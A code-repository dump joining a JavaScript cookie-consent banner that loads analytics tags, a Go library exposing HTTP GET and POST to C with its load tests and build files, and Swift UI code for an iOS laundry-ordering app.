<path d="M510.52 255.82c-69.97-.85-126.47-57.69-126.47-127.86-70.17 0-127-56.49-127.86-126.45-27.26-4.14-55.13.3-79.72 12.82l-69.13 35.22a132.221 132.221 0 0 0-57.79 57.81l-35.1 68.88a132.645 132.645 0 0 0-12.82 80.95l12.08 76.27a132.521 132.521 0 0 0 37.16 72.96l54.77 54.76a132.036 132.036 0 0 0 72.71 37.06l76.71 12.15c27.51 4.36 55.7-.11 80.53-12.76l69.13-35.21a132.273 132.273 0 0 0 57.79-57.81l35.1-68.88c12.56-24.64 17.01-52.58 12.91-79.91zM176 368c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm32-160c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm160 128c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"/>
</svg>
${manageText}
</button>`;
PreBanner.style.display = "none";
// COOKIES BANNER
const Cookies = document.createElement("div");
Cookies.innerHTML = `<div class="banner banner-${bannerPosition} ${border}" style="background-color: ${bannerBackground};">
<div class="cookie-consent-banner__inner">
<div class="cookie-consent-banner__copy">
<div class="cookie-consent-banner__description" style="color: ${descriptionColor};">
${bannerDescription}
<a href="${linkHref}" class="link-btn" style="color: ${descriptionColor};" target="_blank">${linkTexto}</a>
</div>
</div>
<div class="buttons">
<button type="button" id="aceptarCookies" class="cookie-consent-btn" style="background-color: ${btn1Background}; color: ${btn1Color};">
<svg fill="currentColor" style="margin-right: 0.25em; margin-top: 0.15em; vertical-align: text-top;" height="1.05em" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
<path d="M510.52 255.82c-69.97-.85-126.47-57.69-126.47-127.86-70.17 0-127-56.49-127.86-126.45-27.26-4.14-55.13.3-79.72 12.82l-69.13 35.22a132.221 132.221 0 0 0-57.79 57.81l-35.1 68.88a132.645 132.645 0 0 0-12.82 80.95l12.08 76.27a132.521 132.521 0 0 0 37.16 72.96l54.77 54.76a132.036 132.036 0 0 0 72.71 37.06l76.71 12.15c27.51 4.36 55.7-.11 80.53-12.76l69.13-35.21a132.273 132.273 0 0 0 57.79-57.81l35.1-68.88c12.56-24.64 17.01-52.58 12.91-79.91zM176 368c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm32-160c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm160 128c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"/>
</svg>
${btn1Text}
</button>
<button type="button" id="rechazarCookies" class="cookie-consent-btn-secondary" style="background-color: ${btn2Background}; color: ${btn2Color};">
${btn2Text}
</button>
</div>
</div>
</div>`;
Cookies.style.display = "none";
const CookiesConsent = () => {
let page = document.querySelector("#cookiesConsent");
page.appendChild(PreBanner);
page.appendChild(Cookies);
let prebanner = document.querySelector("#prebanner");
prebanner.addEventListener("click", abrirSelector);
let cookies1 = document.querySelector("#aceptarCookies");
cookies1.addEventListener("click", aceptarCookies);
let cookies2 = document.getElementById("rechazarCookies");
cookies2.addEventListener("click", rechazarCookies);
}
/* ======================================
ENABLE TRACKING
====================================== */
function activarSeguimiento(){
// Google Analytics Tracking
if(typeof(AnalyticsCode) != "undefined" && AnalyticsCode !== null){
var Analytics = document.createElement('script');
Analytics.setAttribute('src',`https://www.googletagmanager.com/gtag/js?id=${AnalyticsCode}`);
document.head.appendChild(Analytics);
var AnalyticsData = document.createElement('script');
AnalyticsData.text = `window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', '${AnalyticsCode}');`;
document.head.appendChild(AnalyticsData);
console.log(`Activado el seguimiento de Analytics para: ${AnalyticsCode}`);
}
// Google Analytics Tracking
// Facebook pixel tracking code
if(typeof(FacebookPixelCode) != "undefined" && FacebookPixelCode !== null){
var FacebookPixelData = document.createElement('script');
FacebookPixelData.text = `
!function(f,b,e,v,n,t,s)
{if(f.fbq)return;n=f.fbq=function(){n.callMethod?
n.callMethod.apply(n,arguments):n.queue.push(arguments)};
if(!f._fbq)f._fbq=n;n.push=n;n.loaded=!0;n.version='2.0';
n.queue=[];t=b.createElement(e);t.async=!0;
t.src=v;s=b.getElementsByTagName(e)[0];
s.parentNode.insertBefore(t,s)}(window, document,'script',
'https://connect.facebook.net/en_US/fbevents.js');
fbq('init', '${FacebookPixelCode}');
fbq('track', 'PageView');
`;
document.head.appendChild(FacebookPixelData);
var FacebookPixel = document.createElement('noscript');
FacebookPixel.setAttribute('height',`1`);
FacebookPixel.setAttribute('width',`1`);
FacebookPixel.setAttribute('style',`display:none`);
FacebookPixel.setAttribute('src',`https://www.facebook.com/tr?id=${FacebookPixelCode}&ev=PageView&noscript=1`);
document.head.appendChild(FacebookPixel);
console.log(`Activado el seguimiento de Facebook Pixel para: ${FacebookPixelCode}`);
}
// Facebook pixel tracking code
// Hotjar Tracking
if(typeof(HotjarTrackingCode) != "undefined" && HotjarTrackingCode !== null){
var hotjarTrackingData = document.createElement('script');
hotjarTrackingData.text = `
(function(h,o,t,j,a,r){
h.hj=h.hj||function(){(h.hj.q=h.hj.q||[]).push(arguments)};
h._hjSettings={hjid:${HotjarTrackingCode},hjsv:6};
a=o.getElementsByTagName('head')[0];
r=o.createElement('script');r.async=1;
r.src=t+h._hjSettings.hjid+j+h._hjSettings.hjsv;
a.appendChild(r);
})(window,document,'https://static.hotjar.com/c/hotjar-','.js?sv=');
`;
document.head.appendChild(hotjarTrackingData);
console.log(`Activado el seguimiento de Hotjar para: ${HotjarTrackingCode}`);
}
// Hotjar Tracking
}
/* ======================================
DISABLE TRACKING
====================================== */
let desactivarSeguimiento = () => {
console.log("Seguimiento desactivado");
// Google Analytics Tracking ('client_storage': 'none')
if(typeof(AnalyticsCode) != "undefined" && AnalyticsCode !== null){
var Analytics = document.createElement('script');
Analytics.setAttribute('src',`https://www.googletagmanager.com/gtag/js?id=${AnalyticsCode}`);
document.head.appendChild(Analytics);
var AnalyticsData = document.createElement('script');
AnalyticsData.text = `window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', '${AnalyticsCode}' , {
'client_storage': 'none'
});`;
document.head.appendChild(AnalyticsData);
console.log(`Activado el seguimiento de Analytics para: ${AnalyticsCode}`);
function clearCookie(name) {
document.cookie = name +'=; Path=/; domain='+ window.location.hostname +'; Expires=Thu, 01 Jan 1970 00:00:01 GMT;';
}
clearCookie('_gat_gtag_' + AnalyticsCode.split('-').join('_'));
clearCookie('_gid');
clearCookie('_ga');
}
// Facebook pixel tracking code
if(typeof(FacebookPixelCode) != "undefined" && FacebookPixelCode !== null){
function clearCookie(name) {
document.cookie = name +'=; Path=/; domain='+ window.location.hostname +'; Expires=Thu, 01 Jan 1970 00:00:01 GMT;';
}
clearCookie('_fbp');
}
}
/* ======================================
FUNCTIONS
====================================== */
// === ACCEPT AND DENY COOKIES ===
// Accept Cookies
let aceptarCookies = () => {
localStorage.setItem("GlowCookies", "1");
abrirManageCookies();
activarSeguimiento();
}
// Deny Cookies
let rechazarCookies = () => {
localStorage.setItem("GlowCookies", "0");
abrirManageCookies();
desactivarSeguimiento();
RedirectUrl("/logout");
}
// === OPEN AND CLOSE BANNER & BUTTON ===
// OPEN COOKIES BUTTON
let abrirSelector = () => {
PreBanner.style.display = "none";
Cookies.style.display = "block";
}
// OPEN MANAGE COOKIES BUTTON
let abrirManageCookies = () => {
PreBanner.style.display = "block";
Cookies.style.display = "none";
}
/* ======================================
VERIFY -- ACCEPTED OR DISABLED
====================================== */
switch(localStorage.getItem("GlowCookies")) {
case "1":
console.log('Cookies: Aceptadas');
abrirManageCookies();
activarSeguimiento();
break;
case "0":
console.log('Cookies: Denegadas');
abrirManageCookies();
break;
default:
console.log('Cookies: Sin escoger');
abrirSelector();
}
export default CookiesConsent; | ae5272760045b77e61dfebcc70e9ca4d72bdb4ef | [
"JavaScript"
] | 6 | JavaScript | Jeremy-Barras/aim-lab | 954ba8bdc48203d3070d56023566178eb9d629dc | 33044973104aca57b131862a10b7b70e6ac57550 |
refs/heads/master | <file_sep># cghttp
封装go的http模块成C接口
## windows动态库
```
go build -buildmode=c-shared -o http.dll
dlltool -dllname http.dll --def http.def --output-lib http.lib
```
## ~~windows静态库(无法使用)~~
```
go build -buildmode=c-archive -o http.lib
```
<file_sep>/*
* @Author: gongluck
* @Date: 2020-06-13 20:26:02
* @Last Modified by: gongluck
* @Last Modified time: 2020-06-18 16:52:10
*/
#ifndef __CGHTTP_H__
#define __CGHTTP_H__
#ifdef __cplusplus
extern "C" {
#endif
extern void Release(char** data);
extern int Get(char* url, char** body, size_t* bodylen);
extern int Post(char* url, char** keys, char** values, size_t keynum,
char** response, size_t* responselen);
#ifdef __cplusplus
}
#endif
#endif//__CGHTTP_H__
<file_sep>/*
* @Author: gongluck
* @Date: 2020-06-18 11:08:13
* @Last Modified by: gongluck
* @Last Modified time: 2020-06-18 17:30:42
*/
#include <stdio.h>
#include <time.h>
#include <thread>
#include <mutex>
std::mutex g_mutex;
#include "../cghttp.h"
int TESTTIMES = 100;
void test_get()
{
char* body = NULL;
size_t bodylen = 0;
int ret = Get("http://www.gongluck.icu/web", &body, &bodylen);
//printf("%d\n%s\n%zd\n", ret, body, bodylen);
static int t = 0;
g_mutex.lock();
printf("%d\n", ++t);
g_mutex.unlock();
//std::this_thread::sleep_for(std::chrono::microseconds(10));
Release(&body);
}
void test_post()
{
char* keys[] = {"name", "password"};
char* values[] = {"gongluck", "testtest"};
char* body = NULL;
size_t bodylen = 0;
int ret = Post("http://www.gongluck.icu/api/regist", keys, values, 2, &body, &bodylen);
//printf("%d\n%s\n%zd\n", ret, body, bodylen);
Release(&body);
}
int main()
{
std::thread* ths = new std::thread[TESTTIMES];
clock_t t1 = clock();
for (int i = 0; i < TESTTIMES; ++i)
{
std::thread th(test_get);
ths[i].swap(th);
}
for (int i = 0; i < TESTTIMES; ++i)
{
if (ths[i].joinable())
{
ths[i].join();
}
}
clock_t t2 = clock();
printf("%fms\n", difftime(t2, t1));
t1 = clock();
for (int i = 0; i < TESTTIMES; ++i)
{
std::thread th(test_post);
ths[i].swap(th);
}
for (int i = 0; i < TESTTIMES; ++i)
{
if (ths[i].joinable())
{
ths[i].join();
}
}
t2 = clock();
printf("%fms\n", difftime(t2, t1));
getchar();
return 0;
}
<file_sep>/*
* @Author: gongluck
* @Date: 2020-06-12 11:18:45
* @Last Modified by: gongluck
* @Last Modified time: 2020-06-18 18:49:47
*/
package main
import (
"fmt"
"io/ioutil"
"net/http"
"reflect"
"sync"
"time"
"unsafe"
)
/*
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "cghttp.h"
static char* parse(char** datas, size_t index)
{
return datas[index];
}
*/
import "C"
func ParseString(cstring *C.char) string {
var str string
var strHeader = (*reflect.StringHeader)(unsafe.Pointer(&str))
strHeader.Data = uintptr(unsafe.Pointer(cstring))
strHeader.Len = int(C.strlen(cstring))
return str
}
//export Release
func Release(data **C.char) {
C.free(unsafe.Pointer(*data))
*data = nil
}
//export Get
func Get(url *C.char, body **C.char, bodylen *C.size_t) C.int {
str := ParseString(url)
respon, err := http.Get(str)
if err != nil {
return -1
}
if body != nil || bodylen != nil {
tmp, _ := ioutil.ReadAll(respon.Body)
defer respon.Body.Close()
if bodylen != nil {
*bodylen = (C.size_t)(len(tmp))
}
if body != nil {
bodysize := (C.size_t)(len(tmp))
*body = (*C.char)(C.malloc(bodysize))
C.memcpy(unsafe.Pointer(*body), unsafe.Pointer((*reflect.StringHeader)(unsafe.Pointer(&tmp)).Data), bodysize)
}
}
return C.int(respon.StatusCode)
}
//export Post
func Post(posturl *C.char, keys **C.char, values **C.char, keynum C.size_t, response **C.char, responselen *C.size_t) C.int {
str := ParseString(posturl)
forms := make(map[string][]string)
for i := 0; (C.size_t)(i) < keynum; i++ {
value := make([]string, 1)
value[0] = ParseString(C.parse(values, (C.size_t)(i)))
forms[ParseString(C.parse(keys, (C.size_t)(i)))] = value
}
respon, err := http.PostForm(str, forms)
if err != nil {
return -1
}
if response != nil || responselen != nil {
tmp, _ := ioutil.ReadAll(respon.Body)
defer respon.Body.Close()
if responselen != nil {
*responselen = (C.size_t)(len(tmp))
}
if response != nil {
bodysize := (C.size_t)(len(tmp))
*response = (*C.char)(C.malloc(bodysize))
C.memcpy(unsafe.Pointer(*response), unsafe.Pointer((*reflect.StringHeader)(unsafe.Pointer(&tmp)).Data), bodysize)
}
}
return C.int(respon.StatusCode)
}
var (
TESTTIMES = 100
wg sync.WaitGroup
)
func test_get() {
var body *C.char
var bodylen C.size_t
C.Get(C.CString("http://www.gongluck.icu/web/"), &body, &bodylen)
//C.puts(body)
C.Release(&body)
wg.Done()
}
func test_post() {
key := C.CString("title")
value := C.CString("testpost")
var body *C.char
var bodylen C.size_t
C.Post(C.CString("http://www.gongluck.icu/api/postvideo"), &key, &value, 1, &body, &bodylen)
//C.puts(body)
C.Release(&body)
wg.Done()
}
func main() {
t1 := time.Now()
for i := 0; i < TESTTIMES; i++ {
wg.Add(1)
go test_get()
}
wg.Wait()
t2 := time.Now()
fmt.Println(t2.Sub(t1))
t1 = time.Now()
for i := 0; i < TESTTIMES; i++ {
wg.Add(1)
go test_post()
}
wg.Wait()
t2 = time.Now()
fmt.Println(t2.Sub(t1))
}
<file_sep>cmake_minimum_required(VERSION 3.15)
project(testinc)
# windows
# 设置生成路径
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY_DEBUG ${PROJECT_SOURCE_DIR}/..)
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY_RELEASE ${PROJECT_SOURCE_DIR}/..)
# 链接库路径
link_directories(${PROJECT_SOURCE_DIR}/..)
aux_source_directory(. SRCS)
add_executable(testinc ${SRCS})
# 链接库
target_link_libraries(${PROJECT_NAME} http) | ec50f8ad1c147bb2fa4b4b2469e139668d8f455c | [
"Markdown",
"Text",
"C",
"Go",
"C++"
] | 5 | Markdown | gongluck/cghttp | 19c41972c7a08d910b31b92cff4d4f26bc951197 | 03b1a999e4880687ef7e7055d3d1a2b146ed9583 |
refs/heads/master | <file_sep>//
// LoginViewController.swift
// maiziSplash
//
// Created by 湛礼翔 on 15/10/13.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import UIKit
class LoginViewController: UIViewController {
@IBOutlet var poneNumberFelid: UITextField!
@IBOutlet var captchaFelid: UITextField!
@IBOutlet var dealLabel: UILabel!
override func viewDidLoad() {
super.viewDidLoad()
setupView()
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
}
//MARK: - 一个设置视图的函数
func setupView(){
//设定边框
poneNumberFelid.layer.borderWidth = 1.0
poneNumberFelid.layer.borderColor = UIColor(red: 221/255,
green: 221/255,
blue: 221/255,
alpha: 1.0).CGColor
captchaFelid.layer.borderWidth = 1.0
captchaFelid.layer.borderColor = UIColor(red: 221/255,
green: 221/255,
blue: 221/255,
alpha: 1.0).CGColor
//设定leftView
let poneLeftView = UIView(frame: CGRect(x: 0, y: 0, width: 10, height: 1))
poneNumberFelid.leftView = poneLeftView
poneNumberFelid.leftViewMode = .Always
let captchaLeftView = UIView(frame: CGRect(x: 0, y: 0, width: 10, height: 1))
captchaFelid.leftView = captchaLeftView
captchaFelid.leftViewMode = .Always
//设定dealLabel
dealLabel.adjustsFontSizeToFitWidth = true
}
//MARK: - loninButton点击事件
@IBAction func loginButtonClick(sender: UIButton) {
let vc = self.storyboard?.instantiateViewControllerWithIdentifier("tabBarController")
navigationController?.pushViewController(vc!, animated: true)
let userPoneNumber = poneNumberFelid.text
guard (poneNumberFelid.text == "")
else{
NSUserDefaults.standardUserDefaults().setValue(userPoneNumber, forKey: "userPoneNumber")
return
}
}
}
<file_sep>//
// ClothesChooseView.swift
// maiziSplash
//
// Created by zhan on 15/11/6.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import UIKit
protocol ClothesChooseBarDelegate {
func didSelectButton(numbel: Int)
}
class ClothesChooseBar: UIView {
var buttonArray: [String]?
var vernierView: UIView?
var delegate: ClothesChooseBarDelegate?
var buttonNumbel:Int = 0 {
willSet {
let button = self.subviews[newValue] as! UIButton
button.setTitleColor(UIColor.mianBlue(), forState: .Normal)
UIView.animateWithDuration(0.1) { () -> Void in
self.vernierView?.frame.origin.x = CGFloat(newValue) * (self.frame.width / CGFloat((self.buttonArray?.count)!))
}
}didSet{
let button = self.subviews[oldValue] as! UIButton
button.setTitleColor(UIColor.blackColor(), forState: .Normal)
}
}
init(frame: CGRect,buttonArray: [String]){
super.init(frame: frame)
self.buttonArray = buttonArray
setUI()
}
//MARK: - 设定视图UI
func setUI(){
let buttonWidth = frame.width / CGFloat(buttonArray!.count)
let buttonHeight = frame.height
//根据需要的button数量,添加button
for i in 0..<buttonArray!.count {
let button = UIButton(frame: CGRect(x: buttonWidth * CGFloat(i), y: 0, width: buttonWidth, height: buttonHeight))
button.setTitle(buttonArray![i], forState: UIControlState.Normal)
button.setTitleColor(i != 0 ? UIColor.blackColor() : UIColor.mianBlue() , forState: .Normal)
button.titleLabel?.font = UIFont(name: "Heiti SC", size: 15)
button.backgroundColor = UIColor.whiteColor()
button.tag = i
button.addTarget(self, action: "buttonClick:", forControlEvents: .TouchUpInside)
button.layer.borderColor = UIColor.borderColor().CGColor
button.layer.borderWidth = 1.0
self.addSubview(button)
}
//定义一个游标
vernierView = UIView(frame: CGRect(x: 0, y: buttonHeight - 5, width: buttonWidth, height: 5))
vernierView?.backgroundColor = UIColor.mianBlue()
self.addSubview(vernierView!)
}
//MARK: - button的委托事件
func buttonClick(sender: UIButton) {
self.buttonNumbel = sender.tag
//将选中的button的tag回传
delegate?.didSelectButton(sender.tag)
}
required init?(coder aDecoder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
}
<file_sep>//
// OrderCell.swift
// maiziSplash
//
// Created by zhan on 15/11/12.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import UIKit
import SnapKit
//MARK: - 定义一个协议用于删除cell
protocol OrderCellDelegate {
func didDelete(indexPath: Int)
func didChangeNumber()
}
class OrderCell: UITableViewCell {
var borderView = UIView(frame: CGRectZero)
var clothesImageView = UIImageView(frame: CGRectZero)
var clothesNameLabel = UILabel(frame: CGRectZero)
var minimissNumberButton = UIButton(frame: CGRectZero)
var numberLabel = UILabel(frame: CGRectZero)
var addNumberButton = UIButton(frame: CGRectZero)
var multiplyLable = UILabel(frame: CGRectZero)
var priceLabel = UILabel(frame: CGRectZero)
var deleteButton = UIButton(frame: CGRectZero)
var lineView = UIView(frame: CGRectZero)
var order: ClothesOrder?
var cellIndexPath: Int? //这个属性用于删除当前订单操作
var delegate: OrderCellDelegate?
override func awakeFromNib() {
super.awakeFromNib()
}
override func setSelected(selected: Bool, animated: Bool) {
super.setSelected(selected, animated: animated)
}
override init(style: UITableViewCellStyle, reuseIdentifier: String?) {
super.init(style: style, reuseIdentifier: reuseIdentifier)
setupUI()
super.selected = false
super.selectionStyle = .None
}
required init?(coder aDecoder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
//MARK: - 设置cell的UI
func setupUI() {
//设置borderImageView的约束
self.addSubview(borderView)
borderView.snp_makeConstraints { (make) -> Void in
make.top.bottom.leading.equalTo(self).inset(15)
make.width.equalTo(borderView.snp_height).multipliedBy(0.92)
}
//设置clothesImageView的约束
borderView.addSubview(clothesImageView)
clothesImageView.snp_makeConstraints { (make) -> Void in
make.top.leading.bottom.trailing.equalTo(borderView).inset(5)
}
//设置clothesNameLabel的约束
self.addSubview(clothesNameLabel)
clothesNameLabel.sizeToFit()
clothesNameLabel.font = UIFont(name: "Heiti SC", size: 13)
clothesNameLabel.snp_makeConstraints { (make) -> Void in
make.leading.equalTo(borderView.snp_trailing).offset(5)
make.top.equalTo(borderView)
}
//设置minimissNumberButton的约束
self.addSubview(minimissNumberButton)
minimissNumberButton.setBackgroundImage(UIImage(named: "2-4"), forState: .Normal)
minimissNumberButton.setBackgroundImage(UIImage(named: "2-2-0"), forState: .Highlighted)
minimissNumberButton.addTarget(self, action: "minimissNumberButtonClick", forControlEvents: .TouchUpInside)
minimissNumberButton.layer.borderColor = UIColor.borderColor().CGColor
minimissNumberButton.layer.borderWidth = 1.0
minimissNumberButton.snp_makeConstraints { (make) -> Void in
make.leading.equalTo(borderView.snp_trailing).offset(50)
make.height.equalTo(minimissNumberButton.snp_width).multipliedBy(0.8)
make.centerY.equalTo(borderView)
}
//设置numberLabel的约束
self.addSubview(numberLabel)
numberLabel.backgroundColor = UIColor.grayBackgroundColor()
numberLabel.layer.borderColor = UIColor.borderColor().CGColor
numberLabel.layer.borderWidth = 1.0
numberLabel.textColor = UIColor.priceRed()
numberLabel.font = UIFont(name: "Heiti SC", size: 12)
numberLabel.textAlignment = .Center
numberLabel.snp_makeConstraints { (make) -> Void in
make.top.bottom.equalTo(minimissNumberButton)
make.leading.equalTo(minimissNumberButton.snp_trailing)
make.width.equalTo(minimissNumberButton.snp_height).multipliedBy(1.86)
}
//设置addNumberButton的约束
self.addSubview(addNumberButton)
addNumberButton.setBackgroundImage(UIImage(named: "4-5"), forState: .Normal)
addNumberButton.setBackgroundImage(UIImage(named: "4-4"), forState: .Highlighted)
addNumberButton.addTarget(self, action: "addNumberButtonClick", forControlEvents: .TouchUpInside)
addNumberButton.layer.borderColor = UIColor.borderColor().CGColor
addNumberButton.layer.borderWidth = 1.0
addNumberButton.snp_makeConstraints { (make) -> Void in
make.top.bottom.equalTo(numberLabel)
make.leading.equalTo(numberLabel.snp_trailing)
make.width.equalTo(minimissNumberButton)
}
//设置multiplyLable的约束
self.addSubview(multiplyLable)
multiplyLable.textAlignment = .Center
multiplyLable.text = "×"
multiplyLable.font = UIFont(name: "Heiti SC", size: 12)
multiplyLable.snp_makeConstraints { (make) -> Void in
make.width.height.equalTo(12)
make.leading.equalTo(addNumberButton.snp_trailing).offset(15)
make.bottom.equalTo(addNumberButton)
}
//设置priceLabel的约束
self.addSubview(priceLabel)
priceLabel.font = UIFont(name: "Heiti SC", size: 15)
priceLabel.textColor = UIColor.priceRed()
priceLabel.snp_makeConstraints { (make) -> Void in
make.bottom.equalTo(multiplyLable)
make.leading.equalTo(multiplyLable.snp_trailing)
make.trailing.equalTo(self).offset(-20)
make.width.equalTo(50)
}
//设置deleteButton的约束
self.addSubview(deleteButton)
deleteButton.setBackgroundImage(UIImage(named: "5-4"), forState: .Normal)
deleteButton.addTarget(self, action: "deleteButtonClick", forControlEvents: .TouchUpInside)
deleteButton.snp_makeConstraints { (make) -> Void in
make.top.trailing.equalTo(self).inset(5)
make.width.height.equalTo(self.snp_width).multipliedBy(0.068)
}
//设置lineView的约束
self.addSubview(lineView)
lineView.backgroundColor = UIColor.borderColor()
lineView.snp_makeConstraints { (make) -> Void in
make.bottom.trailing.equalTo(self)
make.leading.equalTo(self).inset(20)
make.height.equalTo(1)
}
}
//MARK: minimissNumberButton的点击事件
func minimissNumberButtonClick() {
if order!.clothesNumber > 1 {
--order!.clothesNumber
numberLabel.text = "\(order!.clothesNumber)"
delegate?.didChangeNumber()
}
}
//MARK: addNumberButtonClick的点击事件
func addNumberButtonClick() {
++order!.clothesNumber
numberLabel.text = "\(order!.clothesNumber)"
delegate?.didChangeNumber()
}
//MARK: deleteButtonClick的点击事件
func deleteButtonClick() {
delegate?.didDelete(cellIndexPath!)
}
}
<file_sep>//
// operatorExtension.swift
// maiziSplash
//
// Created by zhan on 15/11/18.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import Foundation
//重载运算符“==”
func ==(left: ClothesInfo,right: ClothesInfo) -> Bool {
return (left.clothesName == right.clothesName) && (left.clothesSeason == right.clothesSeason)
}<file_sep>//
// UserInfoViewController.swift
// maiziSplash
//
// Created by zhan on 15/11/16.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import UIKit
class UserInfoViewController: UIViewController {
@IBOutlet var surNameTextFeild: UITextField!
@IBOutlet var poneNumberTextFeild: UITextField!
@IBOutlet var sexChooseBackgurondView: UIView!
@IBOutlet var areaTextFeild: UITextField!
@IBOutlet var communityTextFeild: UITextField!
@IBOutlet var buildingTextFeild: UITextField!
var sexChooseBar: ClothesChooseBar?
override func viewDidLoad() {
super.viewDidLoad()
setUI()
sexChooseBar?.delegate = self
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
}
//MARK: - 设置UI
private func setUI() {
//设置surNameTextFeild
surNameTextFeild.layer.borderColor = UIColor.borderColor().CGColor
surNameTextFeild.layer.borderWidth = 1.0
surNameTextFeild.placeholder = " 请输入姓氏"
let surNameLeftView = UIView(frame: CGRect(x: 0,
y: 20,
width: (surNameTextFeild.frame.height - 25) * 0.7 + 10,
height: surNameTextFeild.frame.height - 25))
surNameTextFeild.leftViewMode = .Always
surNameTextFeild.leftView = surNameLeftView
let surNameLeftImage = UIImageView(frame: CGRect(x: 10,
y: 0,
width: surNameLeftView.frame.width - 10,
height: surNameLeftView.frame.height))
surNameLeftImage.image = UIImage(named: "8-1")
surNameLeftView.addSubview(surNameLeftImage)
//设置poneNumberTextFeild
poneNumberTextFeild.layer.borderColor = UIColor.borderColor().CGColor
poneNumberTextFeild.layer.borderWidth = 1.0
poneNumberTextFeild.placeholder = " 请输入手机号码"
let poneNumberLeftView = UIView(frame: CGRect(x: 0,
y: 20,
width: (poneNumberTextFeild.frame.height - 25) * 0.7 + 10,
height: poneNumberTextFeild.frame.height - 25))
poneNumberTextFeild.leftViewMode = .Always
poneNumberTextFeild.leftView = poneNumberLeftView
let poneNumberLeftImage = UIImageView(frame: CGRect(x: 10,
y: 0,
width: poneNumberLeftView.frame.width - 10,
height: poneNumberLeftView.frame.height))
poneNumberLeftImage.image = UIImage(named: "9-1")
poneNumberLeftView.addSubview(poneNumberLeftImage)
//设置areaTextFeild
areaTextFeild.layer.borderColor = UIColor.borderColor().CGColor
areaTextFeild.layer.borderWidth = 1.0
let areaTextFeildLeftView = UIView(frame: CGRect(x: 0, y: 0, width: 40, height: areaTextFeild.frame.height))
areaTextFeild.leftView = areaTextFeildLeftView
areaTextFeild.leftViewMode = .Always
let areaTextFeildLeftLabel = UILabel(frame: CGRect(x: 10, y: 0, width: 30, height: areaTextFeild.frame.height))
areaTextFeildLeftView.addSubview(areaTextFeildLeftLabel)
areaTextFeildLeftLabel.text = "区"
areaTextFeildLeftLabel.textAlignment = .Center
//设置communityTextFeild
communityTextFeild.layer.borderColor = UIColor.borderColor().CGColor
communityTextFeild.layer.borderWidth = 1.0
let communityTextFeildLeftView = UIView(frame: CGRect(x: 0, y: 0, width: 50, height: communityTextFeild.frame.height))
communityTextFeild.leftView = communityTextFeildLeftView
communityTextFeild.leftViewMode = .Always
let communityTextFeildLeftLabel = UILabel(frame: CGRect(x: 10, y: 0, width: 40, height: communityTextFeild.frame.height))
communityTextFeildLeftView.addSubview(communityTextFeildLeftLabel)
communityTextFeildLeftLabel.text = "小区"
communityTextFeildLeftLabel.textAlignment = .Center
//设置buildingTextFeild
buildingTextFeild.layer.borderColor = UIColor.borderColor().CGColor
buildingTextFeild.layer.borderWidth = 1.0
let buildingTextFeildLeftView = UIView(frame: CGRect(x: 0, y: 0, width: 80, height: communityTextFeild.frame.height))
buildingTextFeild.leftView = buildingTextFeildLeftView
buildingTextFeild.leftViewMode = .Always
let buildingTextFeildLeftLabel = UILabel(frame: CGRect(x: 10, y: 0, width: 70, height: buildingTextFeild.frame.height))
buildingTextFeildLeftView.addSubview(buildingTextFeildLeftLabel)
buildingTextFeildLeftLabel.text = "详细地址"
buildingTextFeildLeftLabel.textAlignment = .Center
//设置性别选择按钮
sexChooseBar = ClothesChooseBar(frame: CGRect(x: 0,
y: 0,
width: sexChooseBackgurondView.frame.width,
height: sexChooseBackgurondView.frame.height),
buttonArray: ["先生","女士"])
sexChooseBackgurondView.addSubview(sexChooseBar!)
}
//MARK: - 背景View的点击事件
@IBAction func backgroundClick(sender: UIControl) {
surNameTextFeild.resignFirstResponder()
poneNumberTextFeild.resignFirstResponder()
areaTextFeild.resignFirstResponder()
communityTextFeild.resignFirstResponder()
buildingTextFeild.resignFirstResponder()
}
//MARK: - 保存按钮点击事件
@IBAction func saveButtonClick(sender: UIButton) {
}
//返回按钮点击事件
@IBAction func backButtonClick(sender: UIButton) {
self.navigationController?.popViewControllerAnimated(true)
}
}
//MARK: - ClothesChooseBarDelegate
extension UserInfoViewController: ClothesChooseBarDelegate {
func didSelectButton(numbel: Int) {
if numbel == 0 {
print("sir")
}else {
print("lady")
}
}
}
<file_sep>//
// constants.swift
// maiziSplash
//
// Created by zhan on 15/10/22.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import Foundation
import UIKit
struct NetInfo {
static let WEB_SERVER = "http://wentao.uicp.cn:7070/"
static let GET_ADS_DATA = "demo/ads.json"
static let GET_INCOME_DATA = "demo/income.json"
}
let screenWidth = UIScreen.mainScreen().bounds.width
let screenHeight = UIScreen.mainScreen().bounds.height
<file_sep>//
// OpenCouponAndUserInfoCell.swift
// maiziSplash
//
// Created by zhan on 15/11/14.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import UIKit
import SnapKit
class OpenCouponOrUserInfoCell: UITableViewCell {
var nameLabel = UILabel(frame: CGRectZero)
var hintLabel = UILabel(frame: CGRectZero)
var hintImageView = UIImageView(frame: CGRectZero)
override func awakeFromNib() {
super.awakeFromNib()
}
override func setSelected(selected: Bool, animated: Bool) {
super.setSelected(selected, animated: animated)
}
init(style: UITableViewCellStyle, reuseIdentifier: String?,name: String,hint: String) {
super.init(style: style, reuseIdentifier: reuseIdentifier)
setUI()
